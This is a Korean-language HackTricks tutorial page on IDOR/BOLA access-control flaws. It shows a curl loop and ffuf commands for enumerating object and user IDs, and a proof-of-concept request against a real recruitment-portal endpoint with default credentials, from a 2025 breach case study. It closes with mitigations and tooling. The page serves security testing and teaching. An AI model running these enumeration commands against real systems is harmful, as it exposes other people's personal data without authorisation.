IDOR (Insecure Direct Object Reference)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA)는 웹 또는 API 엔드포인트가 사용자가 제어할 수 있는 식별자를 노출하거나 수락하고, 그 식별자를 직접 사용하여 호출자가 해당 객체에 접근/수정할 권한이 있는지 확인하지 않은 경우에 발생합니다. 성공적인 악용은 일반적으로 수평 또는 수직 권한 상승을 허용하여 다른 사용자의 데이터를 읽거나 수정하게 하며, 최악의 경우 전체 계정 탈취나 대량 데이터 유출로 이어질 수 있습니다.
1. Identifying Potential IDORs
- 객체를 참조하는 매개변수를 찾아보세요:
- 경로:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - 쿼리:
?id=42,?invoice=2024-00001 - 본문 / JSON:
{"user_id": 321, "order_id": 987} - 헤더 / 쿠키:
X-Client-ID: 4711
- 데이터를 읽거나 업데이트하는 엔드포인트(
GET,PUT,PATCH,DELETE)를 우선적으로 검사하세요. - 식별자가 연속적이거나 예측 가능한지 주목하세요 – 만약 당신의 ID가
64185742라면64185741도 존재할 가능성이 높습니다. - 추가 API를 노출할 수 있는 숨겨진 또는 대체 흐름(예: 로그인 페이지의 “Paradox team members” 링크)을 탐색하세요.
- 권한이 낮은 인증된 세션을 사용하고 ID만 변경하되 동일한 token/cookie를 유지하세요. 권한 오류가 없는 경우 보통 IDOR의 신호입니다.
Quick manual tampering (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
자동화된 열거 (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
예측 가능한 다운로드 ID 열거 (ffuf)
인증된 파일 호스팅 패널은 종종 사용자별 메타데이터를 단일 files 테이블에 저장하고 /download.php?id=<int>와 같은 다운로드 엔드포인트를 노출합니다. 핸들러가 ID가 존재하는지만 확인하고(그 ID가 인증된 사용자에게 속하는지 여부는 확인하지 않는 경우), 유효한 세션 쿠키로 정수 범위를 순회하여 다른 테넌트의 백업/구성 파일을 탈취할 수 있습니다:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-fr는 404 스타일 템플릿을 제거해 실제 히트만 남깁니다 (예: IDs 54/150 leaking full site backups and signing material).- 같은 FFUF 워크플로는 Burp Intruder나 curl 루프에서도 작동합니다—ID를 증가시키는 동안 인증 상태를 유지하기만 하면 됩니다.
사용자/파일 열거를 위한 오류 응답 오라클
다운로드 엔드포인트가 username과 filename을 둘 다 받는 경우(예: /view.php?username=<u>&file=<f>), 오류 메시지의 미묘한 차이가 종종 오라클을 만들곤 합니다:
- 존재하지 않는 username → “User not found”
- 잘못된 filename이지만 확장자는 유효 → “File does not exist” (때때로 사용 가능한 파일을 함께 나열함)
- 잘못된 확장자 → validation error
어떤 인증된 세션이든, 무해한 filename을 고정한 채 username 파라미터를 fuzz하고 “user not found” 문자열로 필터링하면 유효한 사용자를 찾을 수 있습니다:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
일단 유효한 사용자 이름이 확인되면, 특정 파일을 직접 요청해 보자 (예: /view.php?username=amanda&file=privacy.odt). 이 패턴은 종종 다른 사용자의 문서 무단 노출 및 credential leakage로 이어진다.
2. 실제 사례 연구 – McHire Chatbot Platform (2025)
Paradox.ai 기반의 McHire 채용 포털 평가 중 다음과 같은 IDOR가 발견되었다:
- Endpoint:
PUT /api/lead/cem-xhr - Authorization: 사용자 세션 쿠키 (모든 레스토랑 테스트 계정에 대해 사용 가능)
- Body parameter:
{"lead_id": N}– 8자리, 연속적인 숫자 식별자
lead_id를 감소시키자 테스터는 임의의 지원자들의 full PII (이름, 이메일, 전화번호, 주소, 근무 선호)와 session hijacking을 허용하는 consumer JWT를 획득했다. Enumeration of the range 1 – 64,185,742 결과 약 64 million 건의 레코드가 노출되었다.
Proof-of-Concept request:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
3. IDOR / BOLA의 영향
- Horizontal escalation – 읽기/수정/삭제 가능한 다른 사용자들의 데이터.
- Vertical escalation – 권한이 낮은 사용자가 관리자 전용 기능을 획득.
- 식별자가 순차적일 경우 대규모 데이터 유출(예: 지원자 ID, 송장).
- 다른 사용자의 토큰을 탈취하거나 비밀번호를 재설정하여 계정 탈취 가능.
4. 완화 및 모범 사례
- 모든 요청에 대해 object-level authorization 적용 (
user_id == session.user). - 자동증가 ID 대신 indirect, unguessable identifiers (UUIDv4, ULID) 사용 권장.
- 권한 검사를 server-side에서 수행하고 숨겨진 폼 필드나 UI 컨트롤에 의존하지 말 것.
- 중앙 미들웨어에서 RBAC / ABAC 검사 구현.
- ID 열거를 탐지하기 위해 rate-limiting & logging 추가.
- 모든 새로운 엔드포인트에 대해 보안 테스트 수행(unit, integration, and DAST).
5. Tooling
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
References
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
- HTB Nocturnal: IDOR oracle → file theft
- 0xdf – HTB Era: predictable download IDs → backups and signing keys
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks

